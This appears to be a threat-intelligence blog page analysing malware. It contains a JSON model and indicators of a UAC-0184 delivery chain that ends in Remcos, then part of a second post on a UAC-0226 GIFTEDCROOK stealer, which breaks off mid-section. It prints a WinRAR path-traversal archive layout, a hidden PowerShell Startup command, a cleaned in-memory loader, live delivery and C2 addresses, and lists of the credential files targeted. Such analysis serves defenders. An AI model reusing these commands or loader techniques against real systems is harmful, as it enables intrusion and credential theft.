        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_014",
      "type": "file",
      "value": "JPG_014.jpg.lnk",
      "x_sha256": "a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_xlsx",
      "type": "file",
      "value": "spisokszch.xlsx.lnk",
      "x_sha256": "6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_rite_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/ritecommunion.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_shout_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/shoutnewspaper.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_hint_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/hintprefix.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_collect_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/collectivisationgown.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_rite_ps1",
      "type": "file",
      "value": "ritecommunion.ps1",
      "x_decoy": "JPG_012.jpg",
      "x_sha256": "adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shout_ps1",
      "type": "file",
      "value": "shoutnewspaper.ps1",
      "x_decoy": "JPG_013.jpg",
      "x_sha256": "43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "144.31.236.240",
      "x_delivery_paths": [
        "/szch45/ritecommunion.ps1",
        "/szch45/shoutnewspaper.ps1",
        "/szch45/hintprefix.ps1",
        "/szch45/collectivisationgown.ps1",
        "/szch45clusterhum.zip"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45clusterhum.zip"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip",
      "type": "file",
      "value": "szch45clusterhum.zip",
      "x_sha256": "fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_clusterhub",
      "type": "file",
      "value": "ClusterHub.exe",
      "x_execution_path": "MSWinDistro/ClusterHub.exe",
      "x_legitimate_software": "Microsoft OneDrive Patcher",
      "x_sha256": "a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_update",
      "type": "file",
      "value": "UpdateRingSettings.dll",
      "x_role_note": "Sideloaded loader DLL",
      "x_sha256": "da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_logging",
      "type": "file",
      "value": "LoggingPlatform.dll",
      "x_role_note": "Companion/forwarder DLL",
      "x_sha256": "c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_monitor",
      "type": "file",
      "value": "monitor_base.sym",
      "x_decoder": "DWORD addition at offset 0x6BD8; decoded size 0x2084; key 0x3A12EA50"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shellcode",
      "type": "file",
      "value": "monitor_base.sym decoded x64 shellcode",
      "x_parser_marker": "????IDAT",
      "x_size_bytes": 8324,
      "x_stomping_library": "tapisrv.dll"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_physics",
      "type": "file",
      "value": "physicsdesc.map",
      "x_first_idat_offset": "0x4052",
      "x_format": "Noise prefix followed by 164 PNG-style IDAT chunks and IEND"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_idat_stream",
      "type": "file",
      "value": "physicsdesc.map concatenated IDAT stream",
      "x_compressed_size": "0x145E3A",
      "x_compression": "LZNT1",
      "x_decompressed_size": "0x20AE58",
      "x_dword_xor_key": "0x54EBEC5E",
      "x_marker": "0xEA79A5C6"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_hijack_bundle",
      "type": "file",
      "value": "HijackLoader / IDATLoader modular bundle",
      "x_module_count": 35,
      "x_modules": [
        "ti",
        "ti64",
        "rshell",
        "rshell64",
        "modUAC",
        "modUAC64",
        "modWD",
        "modWD64",
        "modTask",
        "modTask64",
        "modWriteFile",
        "modWriteFile64",
        "CUSTOMINJECT",
        "PERSDATA"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_inputdll",
      "type": "file",
      "value": "%windir%\\SysWOW64\\input.dll",
      "x_role_note": "Configured module-stomping/deployment target also observed in the previous UAC-0184 sample"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_remcos",
      "type": "file",
      "value": "Remcos Agent 7.1.0 Pro",
      "x_config_cipher": "RC4",
      "x_config_resource": "SETTINGS",
      "x_install_filename": "remcos.exe",
      "x_mutex": "Rmc-X5JFP2",
      "x_sha256": "40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_c2",
      "type": "ip",
      "value": "144.31.236.240",
      "x_port": 27018,
      "x_protocol": "tcp",
      "x_role_note": "Remcos C2 recovered from decrypted SETTINGS resource"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 1,
      "to": "e_readme",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 2,
      "to": "e_lnk_012",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 3,
      "to": "e_lnk_013",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 4,
      "to": "e_lnk_014",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 5,
      "to": "e_lnk_xlsx",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_012",
      "sequence_order": 6,
      "to": "e_ps1_rite_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_013",
      "sequence_order": 7,
      "to": "e_ps1_shout_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_014",
      "sequence_order": 8,
      "to": "e_ps1_hint_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_xlsx",
      "sequence_order": 9,
      "to": "e_ps1_collect_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 10,
      "to": "e_rite_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 11,
      "to": "e_shout_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 12,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 13,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_hint_url",
      "sequence_order": 14,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_collect_url",
      "sequence_order": 15,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 16,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_rite_ps1",
      "sequence_order": 17,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_shout_ps1",
      "sequence_order": 18,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 19,
      "to": "e_payload_zip",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 20,
      "to": "e_clusterhub",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 21,
      "to": "e_update",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 22,
      "to": "e_logging",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 23,
      "to": "e_monitor",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 24,
      "to": "e_physics",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_clusterhub",
      "sequence_order": 25,
      "to": "e_update",
      "type": "execute"
    },
    {
      "confidence": "likely",
      "from": "e_update",
      "sequence_order": 26,
      "to": "e_logging",
      "type": "execute"
    },
    {
      "confidence": "confirmed",
      "from": "e_update",
      "sequence_order": 27,
      "to": "e_monitor",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_monitor",
      "sequence_order": 28,
      "to": "e_shellcode",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_shellcode",
      "sequence_order": 29,
      "to": "e_physics",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_physics",
      "sequence_order": 30,
      "to": "e_idat_stream",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_idat_stream",
      "sequence_order": 31,
      "to": "e_hijack_bundle",
      "type": "drops"
    },
    {
      "confidence": "likely",
      "from": "e_hijack_bundle",
      "sequence_order": 32,
      "to": "e_inputdll",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_hijack_bundle",
      "sequence_order": 33,
      "to": "e_remcos",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_remcos",
      "sequence_order": 34,
      "to": "e_c2",
      "type": "connect"
    }
  ],
  "title": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "x_evidence_url": "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/",
  "x_note": "Only ritecommunion.ps1 and shoutnewspaper.ps1 were available for direct inspection. hintprefix.ps1 and collectivisationgown.ps1 are confirmed as LNK-referenced URLs, but their bodies were not present in the analyzed set. Endpoint execution details are retained as chain context; IIM technique annotations are limited to applicable infrastructure/container properties."
}

You can test it in the IIM Workbench


The same IP is therefore visible at both the staging and C2 positions.
The chain does not show a separate redirector, domain or frontend service in the analyzed artifacts.

The IIM representation also highlights an important distinction:

144.31.236.240:80

is used for delivery while:

144.31.236.240:27018

is used by the final payload for command and control.

They are the same infrastructure entity performing different roles within the campaign flow.

Defensive observations

The strongest detections should focus on combinations of artifacts and behavior rather than one filename.

Initial archive and shortcut signals

Investigate archives containing apparent image or Office filenames that end in .lnk, especially when accompanied by instructions telling the user to extract them before opening.

The observed shortcut command lines combine:

cmd.exe /v /c
MSXML2.XMLHTTP
ADODB.Stream
cscript //b
powershell -NoP -W Hidden -ExecutionPolicy Bypass

The API names are reconstructed from smaller strings and the downloaded scripts are deleted after execution.

PowerShell staging signals

The recovered scripts:

  • download szch45clusterhum.zip;
  • create an MSWinDistro directory;
  • extract the archive;
  • execute MSWinDistro/ClusterHub.exe;
  • open a matching JPG decoy.

The combination of an application-like extraction directory, OneDrive components and image decoys is unusual.

OneDrive sideload signals

Investigate OneDrive-related binaries running from:

Downloads
Desktop
%TEMP%
%APPDATA%

or from an archive-created directory such as:

MSWinDistro

The following local combination is particularly relevant:

ClusterHub.exe
UpdateRingSettings.dll
LoggingPlatform.dll
monitor_base.sym
physicsdesc.map

Container-level signals

The local payload containers can be detected structurally:

  • large printable filler prefix;
  • no valid PNG signature;
  • repeated big-endian PNG chunk lengths;
  • many consecutive IDAT chunks;
  • final IEND;
  • reconstructed data that becomes meaningful after DWORD XOR and LZNT1 decompression.

These properties are likely to survive filename and hash rotation.

Network signals

Relevant observed endpoints are:

http://144.31.236[.]240/szch45/ritecommunion.ps1
http://144.31.236[.]240/szch45/shoutnewspaper.ps1
http://144.31.236[.]240/szch45/hintprefix.ps1
http://144.31.236[.]240/szch45/collectivisationgown.ps1
http://144.31.236[.]240/szch45clusterhum.zip
144.31.236[.]240:27018

Connections to the HTTP paths indicate delivery activity.

Connections to TCP port 27018 are associated with the recovered Remcos configuration.

Conclusion

The newly recovered initial artifacts complete the chain.

The campaign does not begin with ClusterHub.exe.

It begins with a Ukrainian-language archive containing four shortcuts disguised as images and a spreadsheet.

Those shortcuts construct a small VBScript downloader, retrieve PowerShell stages and delete the temporary files after execution. The PowerShell scripts download a second ZIP, extract a OneDrive-themed application package, start the sideload host and open a real decoy file.

From that point onward, the chain follows the same broad architecture documented in the previous UAC-0184 sample:

The actor changed the delivery mechanism.

  • They replaced the Plane9 exterior with OneDrive
  • They rotated the container names, keys, offsets and final payload
  • They retained the core loading pipeline and even reused the internal %windir%\SysWOW64\input.dll path

The newest build also provides a much clearer endgame.

The modular HijackLoader bundle decodes Remcos Agent 7.1.0 Pro, configured to communicate with the same server that delivered the initial PowerShell stages and secondary archive:

144.31.236.240:27018

The exterior changed.
The loader skeleton remained.
And this time, the complete path from the first click to the final controller is visible.

Core indicators

Initial archive
spisokszch.zip
SHA-256:
c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

JPG_012.jpg.lnk
SHA-256:
bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851

JPG_013.jpg.lnk
SHA-256:
fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8

JPG_014.jpg.lnk
SHA-256:
a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c

spisokszch.xlsx.lnk
SHA-256:
6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef

ritecommunion.ps1
SHA-256:
adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc

shoutnewspaper.ps1
SHA-256:
43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7

collectivisationgown.ps1
SHA-256:
95c8f0ac2e427a5637e554c60f649cab1fe55f649fe3aacde3c66fdc6491921b

hintprefix.ps1
SHA-256:
56b19b9f63a649e8cfb9a0e4bb73aac52fbc2265e9793a5b976221432d0ba77f

Secondary archive
szch45clusterhum.zip
SHA-256:
fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633

ClusterHub.exe
SHA-256:
a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93

UpdateRingSettings.dll
SHA-256:
da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7

LoggingPlatform.dll
SHA-256:
c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1

monitor_base.sym
SHA-256:
93621d3793198cb00c1a0450e8e3375d6c0de862a8449ab796c894062ae32612

physicsdesc.map
SHA-256:
ad17e13f05399f0c3a2b13505507a78d8c2dbe2850e507a2d78b9dfa2f5b5e9a

Decoded Remcos Agent
SHA-256:
40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1

198995fecc0e38a2749b7e48c54112a959b77878683b726ee36430c4bacec196  00_000004f0_x86.bin
c50bffbef786eb689358c63fc0585792d174c5e281499f12035afa1ce2ce19c8  01_00045f4a_x86.bin
8e8e43a2f0069f081f5ffb77237faebcda9a46e8f8fd0e128500e74bbc9ea3a5  02_00091422_x64.bin
3594a835ed3dbf80ac460c0e852fa91baa3b17aadff9c3b40c03eff6b34658d2  03_000cd556_x86.bin
729e5965e43ff458f6da901536c9a43be52a3820718e2dd5456150e2d73bb97f  04_000ce156_x64.bin
68bee500e0080f21c003126e73b6d07804d23ac98b2376a8b76c26297d467abe  05_000e9b56_x86.bin
b02b8547644bbfe77428e59c5ccec56c412e3c83aec44180e59110189a249956  06_000ea556_x64.bin
324e2f2241604e53b88bd590213385abbb2961d3f17debfb4d40e4fa7bd9c4c0  07_001018c2_x86.bin

04_decompressed_hijackloader_bundle.bin
SHA256:
4870337bcd6e3ba0d82ca6a42604c05f1885c87967d0dc120f699d2b19706247

Delivery and C2:
144.31.236.240
144.31.236.240:27018

Mutex:
Rmc-X5JFP2

Configured filename:
remcos.exe

Tracking UAC-0226 Tooling Evolution: From WinRAR ADS to Reflective GIFTEDCROOK Loading

by Robin Dost


A few months ago, I analyzed a UAC-0226 campaign delivering a GIFTEDCROOK stealer through a weaponized WinRAR archive.
Of course, that wasn’t it yet, we’re going to keep tracking our friends, so let’s go 🙂

The chain was relatively simple:

RAR archive
    -> decoy PDF
    -> LNK
    -> obfuscated PowerShell
    -> additively encoded payload
    -> GIFTEDCROOK


Sample: 420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

The sample discussed here follows the same general idea, but the implementation is different.

This time, the actor uses an ADS-based WinRAR path traversal to silently place a shortcut in the Windows Startup directory while dropping two additional stages into C:\ProgramData.

The PowerShell loader is still buried under generated garbage, but the payload behind it is more interesting: an additively encoded, headerless PE image containing its own reflective mapper.

Underneath that loader sits a browser and file stealer targeting Chromium, Firefox, documents, VPN configurations, KeePass databases and other potentially sensitive material.

So, let’s take the chain apart.

Before we start:

I wilI will use my Infrastructure Intelligence Model (IIM) to demonstrate how easily two attacks from the same actor can be compared without reducing the analysis to changing hashes, filenames and IP addresses.

If you are new to IIM, I recommend reading the following pages first:

https://blog.synapticsystems.de/attack-pattern-mapping-for-adversary-infrastructure/
https://blog.synapticsystems.de/iimql-the-query-language-for-adversary-infrastructure-4-7/
https://blog.synapticsystems.de/iim-the-grammar-of-adversary-infrastructure/

Why IIM is useful in this case

Traditional threat intelligence platforms are good at storing indicators and mapping techniques.
What they often fail to preserve is the structure of the attack itself:

How was the payload delivered?
Which component triggered execution?
What changed between campaigns?
Which parts of the chain remained stable?

This becomes especially visible with actors such as Gamaredon.
Their infrastructure, filenames, scripts and payloads rotate constantly, while recurring operational patterns often remain hidden across separate reports and IOC collections.

IIM models each component by its role inside the chain, such as Entry, Staging, Payload or C2.
This makes different campaigns directly comparable, even when all underlying indicators have changed.

The result is what I call Tooling Evolution Intelligence: understanding how an actors delivery methods, loaders, payload formats and operational decisions evolve over time.

In the following analysis, two UAC-0226/GIFTEDCROOK attacks are placed into the same IIM view.
The underlying pattern remains recognizable, while changes in persistence, payload encoding, in-memory loading and telemetry become visible immediately.

Initial archive structure

The archive was presented as a Ukrainian PDF named:

взвод розвідки.pdf

This roughly translates to:

Reconnaissance platoon

The visible PDF contains references to:

Дрон на оптоволокні
Fiber-optic drone

Літак-розвідник
Reconnaissance aircraft

It also contains names and military ranks.

That is a much narrower theme than a generic military document.
The lure appears specifically designed around Ukrainian reconnaissance and UAV-related personnel.

The recovered archive entries looked like this:

взвод розвідки.pdf

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\WC3

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\wt1

взвод розвідки.pdf:..\..\..\..\..\Roaming\Microsoft\Windows\
Start Menu\Programs\Startup\ThJRq_6uEj.lnk

The colon after the PDF filename is important.

These are not merely oddly named files.
The syntax is consistent with NTFS Alternate Data Streams combined with path traversal.
If you follow this Blog, you might already know this CVE through my Gamaredon (UAC-0010) series.

CVE-2025-6218 is the related earlier WinRAR path traversal issue.
Both vulnerabilities are often mentioned together, but the ADS structure visible in this archive is the distinguishing part of CVE-2025-8088.

The resulting file placement is:

C:\ProgramData\WC3
C:\ProgramData\wt1

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
ThJRq_6uEj.lnk

This already changes the interaction model compared to the previous sample.

The victim does not necessarily need to identify and manually launch a suspicious shortcut from the extracted archive.
The shortcut is placed directly into the user’s Startup directory and is executed when that user logs in again.

Stage 0: The Startup shortcut

The shortcut points to:

C:\Windows\System32\cmd.exe

Its arguments normalize to approximately:

cmd.exe /c start /min "" ^
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass ^
-Command "powershell -NoProfile -ExecutionPolicy Bypass ^
-Command \"iex (Get-Content 'C:\ProgramData\WC3' -Raw)\""

The execution chain is therefore:

Startup LNK
    -> cmd.exe
    -> minimized PowerShell
    -> second hidden PowerShell
    -> read C:\ProgramData\WC3
    -> execute it through IEX

There is no remote download at this point.
Everything required for execution has already been planted by the archive.

The shortcut metadata contains the machine identifier:

desktop-hagd25b

It also contains timestamps close to the creation time of the decoy PDF.
These values may describe the system used to package the archive, although LNK and document timestamps should always be treated as low-confidence artifacts because they are easy to manipulate.

Stage 1: Deobfuscating WC3

Despite its extensionless filename, WC3 is a PowerShell script.

At first glance, it is intentionally unpleasant:

random function names
random variable names
large meaningless arrays
constant arithmetic
thousands of irrelevant Write-Host calls
sleep operations
unused helper functions

The script is around 92 KB, but only a small fraction of it contributes to the actual execution chain.

This is the same general obfuscation philosophy seen in the earlier UAC-0226 sample: generate enough noise to make the script look complicated without introducing a particularly strong protection mechanism.

The first step was therefore not to understand every function.

It was to identify the small number of operations that interact with files, memory and native APIs.

After removing the junk, the relevant constants were:

Stage path:       C:\ProgramData\wt1
Stage size:       1,131,008 bytes
Decode value:     72 / 0x48
Execution offset: 95,152 / 0x173B0
Initial delay:    60 seconds

The script dynamically resolves the following APIs:

ntdll!NtAllocateVirtualMemory
ntdll!NtProtectVirtualMemory
ntdll!NtCreateThreadEx
ntdll!NtWaitForSingleObject
ntdll!NtClose

kernel32!GetExitCodeThread

It resolves them through .NET reflection and Microsoft.Win32.UnsafeNativeMethods rather than declaring them through a normal Add-Type block.

The cleaned execution logic looks like this:

Start-Sleep -Seconds 60

$stage = [System.IO.File]::ReadAllBytes("C:\ProgramData\wt1")

for ($i = 0; $i -lt 1131008; $i++) {
    $stage[$i] = [byte](($stage[$i] - 72) -band 0xff)
}

$base = NtAllocateVirtualMemory(
    current_process,
    1131008,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
)

Copy-ToMemory $stage $base

NtProtectVirtualMemory(
    current_process,
    $base,
    1131008,
    PAGE_EXECUTE_READWRITE
)

$thread = NtCreateThreadEx(
    current_process,
    $base + 0x173B0,
    $base
)

NtWaitForSingleObject($thread)

The decoded data is copied into the current PowerShell process and executed at a fixed offset.

That fixed offset becomes important later.

Loader telemetry

After the thread exits, WC3 collects four 32-bit values:

DWORD 0: thread exit code
DWORD 1: value at decoded image + 0x44
DWORD 2: value at decoded image + 0x48
DWORD 3: value at decoded image + 0x4C

The resulting 16-byte structure is sent to:

hxxps://142.111.194[.]73:8640/dj5FZEiLnA/

Before sending it, the loader globally disables TLS certificate validation.
Initially, the three values stored inside the decoded image looked like possible output from the stealer.
Further analysis showed that this was incorrect.
The fields are written by the reflective mapper and represent loader status, an error or NTSTATUS value and a progress or stage indicator.
This means the outer PowerShell layer implements its own execution telemetry.

The operator can likely distinguish between outcomes such as:

mapping started
allocation failed
imports failed
relocations failed
entry point reached
payload exited

This callback is separate from the actual data collection performed by the inner DLL.

Stage 2: Decoding wt1

The second ProgramData file is exactly:

1,131,008 bytes
0x114200 bytes

The decoding operation is just an additive byte transformation:

The same operation can be described as:

plaintext[i] = ciphertext[i] - 72 mod 256

This is not encryption in any meaningful cryptographic sense, it is enough to hide readable strings, signatures and headers from basic static inspection.

The previous UAC-0226 sample used essentially the same technique, but with a subtraction value of 117.
Here, the value has changed to 72.

After decoding, I expected a normal PE file.
Instead, the file still did not begin with:

MZ

At this point it would be easy to assume that the decoder was wrong.

It was not.

The payload is a headerless PE image

Although the DOS and NT headers had been replaced, the decoded data still contained recognizable PE structures:

.text
.rdata
.data
.pdata
.fptable
.reloc

The first 0x400 bytes form a custom header used by the loader.

Enough metadata remained to reconstruct the original image:

FieldValue
Original ImageBase0x180000000
SizeOfImage0x11A000
Original PE EntryPoint0x8FA84
Export Directory RVA0xDD580
Import Directory RVA0xDD5C0
Relocation Directory RVA0x119000
Number of sections6

The section layout was:

SectionRVARaw offsetRaw sizePermissions
.text0x10000x4000xAFA00RX
.rdata0xB10000xAFE000x2D800R
.data0xDF0000xDD6000x2D800RW
.pdata0x10F0000x10AE000x8200R
.fptable0x1180000x1130000x200RW
.reloc0x1190000x1132000x1000R

The export directory revealed:

DLL name: Main.dll
Export:   Func
Ordinal:  1
RVA:      0x17FB0

To convert that RVA into a raw file offset:

raw offset =
    .text raw offset
    + (export RVA - .text RVA)

raw offset =
    0x400
    + (0x17FB0 - 0x1000)

raw offset =
    0x173B0

That result exactly matches the hardcoded execution offset inside WC3:

0x173B0

So the PowerShell loader is not jumping into an arbitrary shellcode location.

It is calling:

Main.dll!Func

Main.dll!Func: The reflective mapper

The exported function is not the stealer’s main logic.

It is a custom reflective PE loader.

Its job is to take the headerless image passed by PowerShell and build a working DLL in memory.

The process is approximately:

validate custom header
    -> resolve APIs through PEB walking and export hashing
    -> allocate SizeOfImage
    -> copy headers and sections
    -> resolve imports
    -> apply relocations
    -> set section permissions
    -> initialize runtime structures
    -> call DLL entry point with DLL_PROCESS_ATTACH

The custom header acts as communication space between the mapper and the PowerShell loader.
This is where the status values at offsets 0x44, 0x48 and 0x4C originate.

The design gives the actor several advantages:

  1. The file does not look like a standard PE on disk.
  2. Static tools cannot parse it correctly without reconstruction.
  3. The payload never needs to be written back as a valid DLL.
  4. The outer loader can receive detailed mapper status.
  5. Native API usage avoids some of the most obvious PowerShell injection patterns.

This is a meaningful evolution from the simpler loader in the earlier campaign.
The previous sample decoded a payload and used more conventional memory allocation and thread execution.
The current build adds a dedicated custom-header format and a complete reflective mapper between the PowerShell script and the final DLL.

Reconstructing the inner strings

Once the PE structure was rebuilt, the next obstacle was the internal string handling.
The payload does not store most relevant strings as plaintext.
A function near the beginning of the .text section implements an RC4-like stream cipher:

256-entry state array
RC4-style key scheduling
RC4-style pseudo-random generation
state swaps
XOR with generated keystream

The main difference is that the implementation processes 16-bit values corresponding to UTF-16 words rather than treating everything as ordinary 8-bit strings.

I identified 118 call sites to this decoder.
Of those, 116 could be statically reconstructed.

The first useful results were environment variable names:

USERNAME
USERPROFILE
TEMP

The malware does not simply call GetEnvironmentVariableW.
Instead, it walks the process environment through the PEB and locates the requested values itself.

That is not necessary for functionality, but it reduces obvious API-level indicators.

Browser collection

The decrypted strings revealed explicit targeting of several browsers.

Chromium-based browsers

Google Chrome
Microsoft Edge
Opera

The payload looks for:

Login Data
Cookies
Network\Cookies
Local State
Last Version

The imported function:

CryptUnprotectData

is consistent with decrypting DPAPI-protected Chromium key material and locally stored secrets.

The payload also contains strings used to identify and filter Chromium subprocesses:

--type=utility
--type=crashpad-handler
--type=gpu-process

Firefox

The malware searches Firefox profile directories for:

logins.json
key3.db
key4.db
cookies.sqlite

This gives it access to stored login metadata, cookies and Firefox key database material.

So this is not just a generic document collector.

It includes dedicated browser-stealing functionality across both Chromium and Firefox ecosystems.

File collection

The payload also maintains an extension allowlist:

txtdocdocxdocmxls
xlsxxlsmxltxltxxltm
csvrtfdotdotxdotm
odtpptpptxpptmpps
ppsxpotpdfmdlog
emlconfziprar7z
targzipcabovpnkdbx
jkspngbmpjpegjpg

Some extensions are especially relevant:

ovpn  -> OpenVPN profiles and possibly embedded credentials
kdbx  -> KeePass databases
jks   -> Java KeyStores
eml   -> saved email messages

The collector searches locations including:

Desktop
Documents
Downloads
drive roots

Strings such as:

/Files/
/Files/C/

suggest that collected files are organized by source or drive inside the staging structure.

Local staging

The reconstructed paths include:

